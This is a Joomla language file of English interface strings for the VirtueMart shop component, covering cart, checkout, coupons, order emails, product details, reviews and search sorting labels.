COM_VIRTUEMART_ADDTOCART_CHOOSE_VARIANT="Choose a product variant first" COM_VIRTUEMART_ALL="all" COM_VIRTUEMART_ASKQU_CS_MAX="Maximum characters for your question is reached" COM_VIRTUEMART_ASKQU_CS_MIN="Minimum characters for your question is not reached" COM_VIRTUEMART_ASK_COMMENT="Please write your question....(min. %s, max. %s characters)" COM_VIRTUEMART_ASK_COUNT="Characters written: " COM_VIRTUEMART_ASK_ERR_COMMENT1="Please write down some more words for your question. Minimum characters allowed: %s" COM_VIRTUEMART_ASK_ERR_COMMENT2="Please shorten your question. Maximum characters allowed: %s" COM_VIRTUEMART_ASK_QUESTION_THANK_YOU="Thank you for your Question. We will contact you as soon as possible." COM_VIRTUEMART_ASK_SUBMIT="Send your question" COM_VIRTUEMART_ASSIGN_VM_TO_MENU="Assign the component VirtueMart to a menu item" COM_VIRTUEMART_BACK_TO_ACCOUNT="Back to Account Details" COM_VIRTUEMART_BOX_CLOSE="close" COM_VIRTUEMART_BOX_CURRENT="product {current} of {total}" COM_VIRTUEMART_BOX_NEXT="next" COM_VIRTUEMART_BOX_PREVIOUS="previous" COM_VIRTUEMART_BUTTON_LOGOUT="Logout" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CART_ACTION="Update" COM_VIRTUEMART_CART_ACTIVE_ADMIN="Active administrator:" COM_VIRTUEMART_CART_ADD_TO="Add to Cart" COM_VIRTUEMART_CART_CHANGED_SHOPPER_SUCCESSFULLY="Shopper successfully changed to %1$s" COM_VIRTUEMART_CART_CHANGE_PAYMENT="Change Payment" COM_VIRTUEMART_CART_CHANGE_SHIPPING="Change Shipment" COM_VIRTUEMART_CART_CHANGE_SHOPPER="Change Shopper" COM_VIRTUEMART_CART_CHANGE_SHOPPER_NO_PERMISSIONS="No permissions to change shopper" COM_VIRTUEMART_CART_CHECKOUT_DATA_NOT_VALID="Invalid data entered" COM_VIRTUEMART_CART_CHECKOUT_DONE_CONFIRM_ORDER="Checkout done, please confirm the order" COM_VIRTUEMART_CART_COUPON_VALID="Discount Coupon successfully added" COM_VIRTUEMART_CART_DATA_NOT_VALID="Cart data not valid" COM_VIRTUEMART_CART_DELETE="Delete Product From Cart" COM_VIRTUEMART_CART_EDIT_COUPON="Edit coupon" COM_VIRTUEMART_CART_EDIT_PAYMENT="Select payment" COM_VIRTUEMART_CART_EDIT_SHIPPING="Select shipment" COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST="Please enter your address first" COM_VIRTUEMART_CART_ERROR_NO_NEGATIVE="Negative quantities are not allowed." COM_VIRTUEMART_CART_ERROR_NO_PRODUCT_IDS="Error while adding product in cart: no product ids" COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY="Please enter a valid quantity for this item." COM_VIRTUEMART_CART_FREE_SHIPPING="Shipment is free on this Order" COM_VIRTUEMART_CART_MAIL_FOOTER="mail footer message" COM_VIRTUEMART_CART_MAIL_SHOPPER_CONTENT="Dear %1$s,
          you bought and confirmed an order with a total of %3$s at %2$s,
          your order number is = %4$s
          and your order password = %5$s" COM_VIRTUEMART_CART_MAIL_SHOPPER_QUESTION="Your comment:
          %1$s" COM_VIRTUEMART_CART_MAIL_VENDOR_CONTENT="Hello %1$s,
          %2$s confirmed an order with a total of %3$s, his order_id = %4$s" COM_VIRTUEMART_CART_MAIL_VENDOR_SHOPPER_QUESTION="The shopper commented the order:
          %1$s" COM_VIRTUEMART_CART_MAIL_VENDOR_TITLE="Hello" COM_VIRTUEMART_CART_MAX_ORDER="The maximum order level for this product is %d items." COM_VIRTUEMART_CART_MIN_ORDER="The minimum order level for this product is %d items." COM_VIRTUEMART_CART_MIN_PURCHASE="The minimum purchase value is %s." COM_VIRTUEMART_CART_NAME="Name" COM_VIRTUEMART_CART_NOTIFY="Notify Me" COM_VIRTUEMART_CART_NOTIFY_DESC="We regret to inform you that this product (%s) is either temporarily out of stock or not in stock in the desired quantity. Please submit your email address if you would like to be notified when new stock arrives for this product.

          Thank you!" COM_VIRTUEMART_CART_NOTIFY_MAIL_HTML="
          Thank you for your patience.

          Our %s is now in stock and can be purchased by following this link:
          %s

          This is a one time notice, you will not receive this e-mail again.
          " COM_VIRTUEMART_CART_NOTIFY_MAIL_RAW="Thank you for your patience.\r\n\r\nOur %s is now in stock and can be purchased by following this link:\r\n%s\r\n\r\nThis is a one time notice, you will not receive this e-mail again." COM_VIRTUEMART_CART_NOTIFY_MAIL_SUBJECT="Product Notification" COM_VIRTUEMART_CART_NO_PAYMENT_METHOD_PUBLIC="We are sorry, no payment method matches the characteristics of your order. Please %s." COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_PRODUCT="There are no products in your cart." COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_NO_SHIPPINGRATE="No shipping rate could be selected, you may not have entered your address or the vendor/shipment does not support your location" COM_VIRTUEMART_CART_NO_SHIPPING_METHOD="No Shipment plugin installed or configured for this vendor, or no shipment method is defined for your shippping address." COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC="We are sorry, no shipment method matches the characteristics of your order." COM_VIRTUEMART_CART_ONE_PRODUCT="1 product" COM_VIRTUEMART_CART_ONLY_REGISTERED="Please register to checkout" COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID="Order not completed, data is not valid" COM_VIRTUEMART_CART_ORDERDONE_THANK_YOU="Thank you for your order!" COM_VIRTUEMART_CART_OVERVIEW="Shopping cart" COM_VIRTUEMART_CART_PAYMENT="Payment" COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS="Please accept the terms of service to confirm" COM_VIRTUEMART_CART_PRICE="Price: " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_PRICE_PER_UNIT="Price per Unit" COM_VIRTUEMART_CART_PRODUCT_ADDED="%2$s x %1$s was added to your cart." COM_VIRTUEMART_CART_PRODUCT_OUT_OF_QUANTITY="Max quantity reached, new quantity set to %s" COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK="Product out of stock" COM_VIRTUEMART_CART_PRODUCT_UPDATED="The product quantity has been updated." COM_VIRTUEMART_CART_QUANTITY="Quantity" COM_VIRTUEMART_CART_SELECTCOUPON="Select your coupon" COM_VIRTUEMART_CART_SELECTPAYMENT="Select payment method" COM_VIRTUEMART_CART_SELECTSHIPMENT="Select shipment" COM_VIRTUEMART_CART_SELECT_PAYMENT="Please select a payment method" COM_VIRTUEMART_CART_SELECT_SHIPMENT="Please select a shipment method" COM_VIRTUEMART_CART_SETPAYMENT_PLUGIN_FAILED="The payment plugin failed" COM_VIRTUEMART_CART_SHIPPING="Shipment" COM_VIRTUEMART_CART_SHOW="Show Cart" COM_VIRTUEMART_CART_SKU="SKU" COM_VIRTUEMART_CART_STEP_ORDER="You can buy this product only in steps of %d items." COM_VIRTUEMART_CART_SUBTOTAL="Subtotal" COM_VIRTUEMART_CART_SUBTOTAL_DISCOUNT_AMOUNT="Discount" COM_VIRTUEMART_CART_SUBTOTAL_TAX_AMOUNT="Tax" COM_VIRTUEMART_CART_THANKYOU="Thank you for your Order!" COM_VIRTUEMART_CART_TITLE="Cart" COM_VIRTUEMART_CART_TOS="Terms of service" COM_VIRTUEMART_CART_TOS_READ_AND_ACCEPTED="Click here to read terms of service and check the box to accept them." COM_VIRTUEMART_CART_TOTAL="Total" COM_VIRTUEMART_CART_TOTAL_PAYMENT="Total in Payment Currency" COM_VIRTUEMART_CART_UPDATE="Update Quantity In Cart" COM_VIRTUEMART_CART_X_PRODUCTS="%s products" COM_VIRTUEMART_CATEGORIES="Categories" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search" COM_VIRTUEMART_CATEGORY="Category" COM_VIRTUEMART_CATEGORY_BACK_TO="Back to: %s" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category" COM_VIRTUEMART_CATEGORY_NOT_FOUND="Category not found" COM_VIRTUEMART_CATEGORY_TOP_LEVEL="Top Category" COM_VIRTUEMART_CAT_NOT_PUBL="Category %1$s id %2$s not published" COM_VIRTUEMART_CHECKOUT_AS_GUEST="Checkout as Guest" COM_VIRTUEMART_CHECKOUT_PLEASE_ENTER_ADDRESS="Please enter your billto address" COM_VIRTUEMART_CHECKOUT_TITLE="Check Out Now" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_COMMENT="Please write your recommendation....(min. %s, max. %s characters)" COM_VIRTUEMART_COMMENT_CART="Notes and special requests" COM_VIRTUEMART_COMMENT_MIN_MAX_JS="Please min. %s, max. %s characters" COM_VIRTUEMART_COMMENT_NOT_VALID_JS="Some Fields are invalid, please verify your inputs" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Contact the administrator, if you are one go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Contact the administrator, if you are one go to %s" COM_VIRTUEMART_CONTINUE_SHOPPING="Continue Shopping" COM_VIRTUEMART_COUPON_CODE_CHANGE="Change your Coupon code" COM_VIRTUEMART_COUPON_CODE_ENTER="Enter your Coupon code" COM_VIRTUEMART_COUPON_CODE_EXPIRED="This coupon is expired" COM_VIRTUEMART_COUPON_CODE_INVALID="Coupon code not found. Please try again." COM_VIRTUEMART_COUPON_CODE_NOTYET="Coupon is not yet active, it can be used after " COM_VIRTUEMART_COUPON_CODE_TOOLOW="This coupon is valid for an order with a minimum of" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_ENTER_HERE="If you have a coupon code, please enter it below:" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREDIT_CARD_INVALID_EXPIRE_DATE="Credit Card has expired" COM_VIRTUEMART_CREDIT_CARD_INVALID_FORMAT="Credit card number is in invalid format" COM_VIRTUEMART_CREDIT_CARD_INVALID_NUMBER="Credit card number is invalid" COM_VIRTUEMART_CREDIT_CARD_NO_NUMBER="No card number provided" COM_VIRTUEMART_CREDIT_CARD_UNKNOWN_TYPE="Unknown card type" COM_VIRTUEMART_CREDIT_CARD_WRONG_DIGIT="Credit card number has an inappropriate number of digits" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CUSTOMER_RATING="Average customer rating" COM_VIRTUEMART_DATE="Date" COM_VIRTUEMART_DATE_FORMAT_INPUT_JS="y.mm.dd" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" ; Date joomla 1.5 >1.6 format changed %d is d now COM_VIRTUEMART_DATE_FORMAT_INPUT="%y.%m.%d" COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="y.m.d" COM_VIRTUEMART_DEAR="Dear " COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DESCRIPTION="Welcome to" COM_VIRTUEMART_DISABLED="Disabled" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAYED_NAME="Displayed name:" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMPTY_CART="Cart empty" COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENTERED_ADDRESS="Entered address" COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS="Please enter a valid email address" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEED_READMORE="Read more" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_HI="Hello" COM_VIRTUEMART_HINAME="Hello %s" COM_VIRTUEMART_HOME="Welcome to %1$s" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCT="Latest Products" COM_VIRTUEMART_LINK_ACTIVATE_ACCOUNT="Please use this link to activate your account" COM_VIRTUEMART_LIST_EMPTY_OPTION="-- Select --" COM_VIRTUEMART_LOGIN="Login" COM_VIRTUEMART_LOGINAME="Login Name" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Stock" COM_VIRTUEMART_MAIL_FOOTER="Thank you for purchasing at " COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY="Mail not sent successfully" COM_VIRTUEMART_MAIL_ORDER_STATUS="Your order status is: %s" COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY="Mail sent successfully" COM_VIRTUEMART_MAIL_SHOPPER_CONTENT="your order password = %5$s" COM_VIRTUEMART_MAIL_SHOPPER_NAME="Hello %1$s," COM_VIRTUEMART_MAIL_SHOPPER_QUESTION="Your comment:
          %1$s" COM_VIRTUEMART_MAIL_SHOPPER_SUMMARY="

          Order confirmed

          You bought and confirmed an order in %1$s shop online.

          You can check the status of your order by going on your personal account

          " COM_VIRTUEMART_MAIL_SHOPPER_TOTAL_ORDER="

          Your order Total: %1$s

          " COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER="Your order number: " COM_VIRTUEMART_MAIL_SHOPPER_YOUR_ORDER_LINK="view your order online" COM_VIRTUEMART_MAIL_SHOPPER_YOUR_PASSWORD="Your order password: " COM_VIRTUEMART_MAIL_SKU="SKU" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_C="[%3$s], Confirmed order at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_P="[%3$s], Order is pending at %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_R="[%3$s], Refunded order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_S="[%3$s], Shipped order from %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_U="[%3$s], Order confirmed by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_SHOPPER_X="[%3$s], Cancelled order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_C="[%3$s], Confirmed order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_P="[%3$s], Pending order by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_R="[%3$s], Refunded order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_S="[%3$s], Shipped order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_U="[%3$s], Order confirmed by %1$s, total %2$s" COM_VIRTUEMART_MAIL_SUBJ_VENDOR_X="[%3$s], Cancelled order for %1$s, total %2$s" COM_VIRTUEMART_MAIL_VENDOR_CONTENT="Hello %1$s,
          %2$s confirmed an order with a total of %3$s, his/her order number = %4$s" COM_VIRTUEMART_MAIL_VENDOR_SHOPPER_QUESTION="The shopper commented the order:
          %1$s" COM_VIRTUEMART_MAIL_VENDOR_TITLE="Hello" COM_VIRTUEMART_MANUFACTURER_DETAILS="Manufacturer Details" COM_VIRTUEMART_MANUFACTURER_PAGE="Manufacturer Page" COM_VIRTUEMART_MF_NAME="Manufacturer name" COM_VIRTUEMART_MIGRATION_WARN_VM1_EXTENSIONS="Attention: You have still old vm extensions in your joomla installation active, uninstall or disable them" ;todo legacy will be removed COM_VIRTUEMART_MINICART_ERROR_JS="There was an error while updating your cart." COM_VIRTUEMART_MODIFIED_ON="modified" COM_VIRTUEMART_MORE_REVIEWS="More reviews" COM_VIRTUEMART_NEVER="-Never-" COM_VIRTUEMART_NEW_ORDER_CONFIRMED="[%3$s], Confirmed order by %1$s, total %2$s" COM_VIRTUEMART_NEW_SHOPPER="A new shopper %s registered" COM_VIRTUEMART_NEW_SHOPPER_SUBJECT="Your registration %s at %s" COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT="A new user %1$s registered at your shop" COM_VIRTUEMART_NO="No" COM_VIRTUEMART_NONE="None" COM_VIRTUEMART_NOTIFY_CUSTOMER_ERR_SEND="Could not send a message to " COM_VIRTUEMART_NOTIFY_CUSTOMER_SEND_MSG="Message sent to" COM_VIRTUEMART_NOT_ABLE_TO_SAVE_USER_DATA="Was not able to save the VirtueMart user data" COM_VIRTUEMART_NO_IMAGE_FOUND="No image found" COM_VIRTUEMART_NO_IMAGE_SET="No image set" COM_VIRTUEMART_NO_MORE_ORDERS="No more Orders" COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED="No payment method has been configurated %1$s" COM_VIRTUEMART_NO_PAYMENT_METHODS_CONFIGURED_LINK=", please visit %1$s" COM_VIRTUEMART_NO_PAYMENT_PLUGIN="The Payment method didn't find the used payment plugin" COM_VIRTUEMART_NO_RESULT="No result" COM_VIRTUEMART_NO_REVIEWS="There are yet no reviews for this product." COM_VIRTUEMART_NO_SHIPMENT_PLUGIN="The Shipment method didn't find the used shipment plugin" COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED="No shipment method has been configurated %1$s" COM_VIRTUEMART_NO_SHIPPING_METHODS_CONFIGURED_LINK=", please visit %1$s" COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER="Please use %1$s to easily get access to your order history, or use %2$s" COM_VIRTUEMART_ORDERBY="Sort by" COM_VIRTUEMART_ORDERING="Ordering" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="List All Orders" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="List Orders" COM_VIRTUEMART_ORDER_ANONYMOUS="Track My Order" COM_VIRTUEMART_ORDER_BUTTON_VIEW="See Order" COM_VIRTUEMART_ORDER_COMMENT="Comment" COM_VIRTUEMART_ORDER_CONFIRM_MNU="Confirm Purchase" COM_VIRTUEMART_ORDER_CONNECT_FORM="When you are already registered, please login directly here" COM_VIRTUEMART_ORDER_FORGOT_YOUR_PASSWORD="Forgot your password?" COM_VIRTUEMART_ORDER_FORGOT_YOUR_USERNAME="Forgot your username?" COM_VIRTUEMART_ORDER_NOTFOUND="Order not found! It may have been deleted." COM_VIRTUEMART_ORDER_PRINT_PRODUCT_PRICES_TOTAL="Product prices result" COM_VIRTUEMART_ORDER_PROCESSED="Your order has been processed." COM_VIRTUEMART_ORDER_REGISTER="Create an account" COM_VIRTUEMART_ORDER_REGISTER_GUEST_CHECKOUT="Checkout" COM_VIRTUEMART_PASSWORD="Password" COM_VIRTUEMART_PAYMENT_CANCELLED_BY_SHOPPER="Payment cancelled by the shopper" COM_VIRTUEMART_PAYMENT_INVOICE="Payment method is preventing VirtueMart to create an invoice." COM_VIRTUEMART_PAYMENT_USER_CANCEL="Payment cancelled by user" COM_VIRTUEMART_PDF="PDF" COM_VIRTUEMART_PDF_CREATOR="VirtueMart 2, using the TCPDF library" COM_VIRTUEMART_PDF_SAMPLEPAGE="

          Invoice Header/Footer Sample Page

          This page shows how the page header and footer of the VirtueMart invoices will look like.

          " COM_VIRTUEMART_PKEY="Primary Keys" COM_VIRTUEMART_PLUGIN_COST_DISPLAY="Discount/Fee: " COM_VIRTUEMART_PRINT="Print" COM_VIRTUEMART_PRODUCT_ADDED_SUCCESSFULLY="Product successfully added" COM_VIRTUEMART_PRODUCT_ADD_PRODUCT="Add a product" COM_VIRTUEMART_PRODUCT_ASKPRICE="Call for price" COM_VIRTUEMART_PRODUCT_ASK_QUESTION="Ask a question" COM_VIRTUEMART_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_PRODUCT_BASEPRICE="Base price: " COM_VIRTUEMART_PRODUCT_BASEPRICE_VARIANT="Base price for variant: " COM_VIRTUEMART_PRODUCT_BASEPRICE_WITHTAX="Base price with tax: " COM_VIRTUEMART_PRODUCT_DESC="Product Description" COM_VIRTUEMART_PRODUCT_DESC_TITLE="Description" COM_VIRTUEMART_PRODUCT_DETAILS="Product details" COM_VIRTUEMART_PRODUCT_DETAILS_MANUFACTURER_LBL="Manufacturer: " COM_VIRTUEMART_PRODUCT_DETAILS_SHORT_DESC_LBL="Short description" COM_VIRTUEMART_PRODUCT_DETAILS_TITLE="Product details %1$s" COM_VIRTUEMART_PRODUCT_DETAILS_VENDOR_LBL="Vendor:" COM_VIRTUEMART_PRODUCT_DISCOUNTED_PRICE="Price with discount: " COM_VIRTUEMART_PRODUCT_DISCOUNT_AMOUNT="Discount: " COM_VIRTUEMART_PRODUCT_ENQUIRY_LBL="Ask a question about this product" COM_VIRTUEMART_PRODUCT_FORM_ALIAS="Product Alias" COM_VIRTUEMART_PRODUCT_FORM_CALCULATE_PRICE_FINAL_TIP="Check this to calculate the costprice with the desired final price" COM_VIRTUEMART_PRODUCT_FORM_CHILD_PARENT="Parent & Child Products" COM_VIRTUEMART_PRODUCT_FORM_CREATION_DATE="Creation Date" COM_VIRTUEMART_PRODUCT_FORM_EDIT_PRODUCT="Edit this product" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="piece" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendor Status" COM_VIRTUEMART_PRODUCT_FROM_MF="View all %s Products " COM_VIRTUEMART_PRODUCT_HEIGHT="Product Heigth" COM_VIRTUEMART_PRODUCT_ID="Product ID" COM_VIRTUEMART_PRODUCT_IN_STOCK="product in stock" COM_VIRTUEMART_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="The product %s has a stock of %d." COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="The product %s has a low stock" COM_VIRTUEMART_PRODUCT_LWH_UOM="Length/Weight/Height Unit of Measure" COM_VIRTUEMART_PRODUCT_NAME="Product Name" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Product Name" COM_VIRTUEMART_PRODUCT_NOT_ADDED_SUCCESSFULLY="Product not successfully added" COM_VIRTUEMART_PRODUCT_NOT_FOUND="404 The requested product does not exist." COM_VIRTUEMART_PRODUCT_NOT_REMOVED_SUCCESSFULLY="Product not successfully removed" COM_VIRTUEMART_PRODUCT_NOT_UPDATED_SUCCESSFULLY="Product quantity not successfully updated" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_PRODUCT_PACKAGING1="Number {unit}s in packaging: " COM_VIRTUEMART_PRODUCT_PACKAGING2="Number {unit}s in box:" COM_VIRTUEMART_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_PRODUCT_RECOMMEND="Recommend to a friend" COM_VIRTUEMART_PRODUCT_REMOVED_SUCCESSFULLY="Product successfully removed" COM_VIRTUEMART_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_PRODUCT_SALESPRICE="Sales price: " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Sales price without tax: " COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Salesprice with discount: " COM_VIRTUEMART_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_PRODUCT_SPECIAL="Featured Product" COM_VIRTUEMART_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Tax amount: " COM_VIRTUEMART_PRODUCT_UNIT="Product Unit" COM_VIRTUEMART_PRODUCT_UNITPRICE="Price / %s: " COM_VIRTUEMART_PRODUCT_UNITS_IN_BOX="Units in box: " COM_VIRTUEMART_PRODUCT_UPDATED_SUCCESSFULLY="Product quantity successfully updated" COM_VIRTUEMART_PRODUCT_VARIANT_MOD="Variant price modifier: " COM_VIRTUEMART_PRODUCT_WEIGHT="Product Weight" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Product Weight Measure" COM_VIRTUEMART_PRODUCT_WIDTH="Product Width" COM_VIRTUEMART_PUBLISHED="Published" COM_VIRTUEMART_PUBLISH_ITEM="Publish item" COM_VIRTUEMART_QUESTION_ABOUT="Question About " COM_VIRTUEMART_QUESTION_MAIL_FROM="A question was asked by %s (%s)" COM_VIRTUEMART_QUESTION_MAIL_PRODUCT="A question was asked about %s" COM_VIRTUEMART_RATING="Rating: " COM_VIRTUEMART_RATING_EMAIL_SUBJECT="New review for the product %s" COM_VIRTUEMART_RATING_EMAIL_BODY="A new review has been submitted for the product %s." COM_VIRTUEMART_RATING_FIRST_RATE="First: Rate the product. Please select a rating between 0 (poorest) and 5 stars (best)." COM_VIRTUEMART_RATING_NOT_SAVED_SUCCESSFULLY="Rating not saved" COM_VIRTUEMART_RATING_SAVED_SUCCESSFULLY="Rating saved" COM_VIRTUEMART_RATING_TITLE="Rating: " COM_VIRTUEMART_RECENT_PRODUCT="Recently Viewed Products" COM_VIRTUEMART_RECENT_PRODUCTS="Recently Viewed Products" COM_VIRTUEMART_RECOMMEND_MAIL_MSG="Mail about %s: %s" COM_VIRTUEMART_RECOMMEND_PRODUCT="%s recommend you : %s" COM_VIRTUEMART_RECOMMEND_SUBMIT="Send recommendation" COM_VIRTUEMART_RECOMMEND_THANK_YOU="Thank you for recommending the product." COM_VIRTUEMART_REGISTER="Register" COM_VIRTUEMART_REGISTER_ACCOUNT="Register an Account?
          An Account allows you to come back to this shop and view all the orders you have made." COM_VIRTUEMART_REGISTER_AND_CHECKOUT="Register And Checkout" COM_VIRTUEMART_REGISTRATION_DATA="The Registration data" COM_VIRTUEMART_REG_COMPLETE="
          Registration Complete!
          " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
          Registration Completed!

          Your account has been created and an activation link has been sent to the e-mail address you entered. Note that you must activate the account by clicking on the activation link when you get the e-mail before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Related Categories" COM_VIRTUEMART_RELATED_CATEGORIES_DESC=" " COM_VIRTUEMART_RELATED_PRODUCTS="Related Products" COM_VIRTUEMART_RELATED_PRODUCTS_DESC=" " COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="You may also be interested in this/these product(s)" COM_VIRTUEMART_RESET="Reset" COM_VIRTUEMART_RESTRICTED_ACCESS="Restricted access!" COM_VIRTUEMART_REVIEW="Review" COM_VIRTUEMART_REVIEWS="Reviews" COM_VIRTUEMART_REVIEW_ALREADYDONE="You already have written a review for this product. Thank you." COM_VIRTUEMART_REVIEW_COMMENT="Now please write a (short) review....(min. %s, max. %s characters) " COM_VIRTUEMART_REVIEW_COUNT="Characters written: " COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Please write down some more words for your review. Minimum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Please shorten your review. Maximum characters allowed: %s" COM_VIRTUEMART_REVIEW_ERR_RATE="Please rate the product to complete your review" COM_VIRTUEMART_REVIEW_LOGIN="Please log in to write a review." COM_VIRTUEMART_REVIEW_RATE="Rate" COM_VIRTUEMART_REVIEW_STARS="Stars" COM_VIRTUEMART_REVIEW_SUBMIT="Submit Review" COM_VIRTUEMART_SAVE="Save" COM_VIRTUEMART_SEARCH="Search in shop" COM_VIRTUEMART_SEARCH_ORDER_ASC="-/+" COM_VIRTUEMART_SEARCH_ORDER_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_SEARCH_ORDER_CATEGORY_NAME="Product Category" COM_VIRTUEMART_SEARCH_ORDER_CREATED_ON="Product Creation Date" COM_VIRTUEMART_SEARCH_ORDER_DESC=" +/-" COM_VIRTUEMART_SEARCH_ORDER_INTNOTES="Product Internal Notes" COM_VIRTUEMART_SEARCH_ORDER_LOW_STOCK_NOTIFICATION="Low Stock" COM_VIRTUEMART_SEARCH_ORDER_METAAUTHOR="Product Meta Author" COM_VIRTUEMART_SEARCH_ORDER_METADESC="Product Meta Description" COM_VIRTUEMART_SEARCH_ORDER_METAKEY="ProductMeta Key" COM_VIRTUEMART_SEARCH_ORDER_METAROBOT="Product Meta Robot" COM_VIRTUEMART_SEARCH_ORDER_MF_NAME="Manufacturer Name" COM_VIRTUEMART_SEARCH_ORDER_MODIFIED_ON="Product Modified Date" COM_VIRTUEMART_SEARCH_ORDER_ORDERING="Ordering" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_AVAILABILITY="Product Availability" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_AVAILABLE_DATE="Product Available Date" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_DESC="Product Description" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_HEIGHT="Product Heigth" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_IN_STOCK="product in stock" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_LENGTH="Product Length" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_LWH_UOM="Length/Weight/Height UOM" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_NAME="Product Name" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_ORDER_LEVELS="Product Order Levels" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_PACKAGING="Product Packaging" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_PRICE="Product Price" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_SALES="Product Sales" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_SKU="Product SKU" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_SPECIAL="Product Special" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_S_DESC="Product Short description" COM_VIRTUEMART_SEARCH_ORDER_PRODUCT_UNIT="Product Unit" 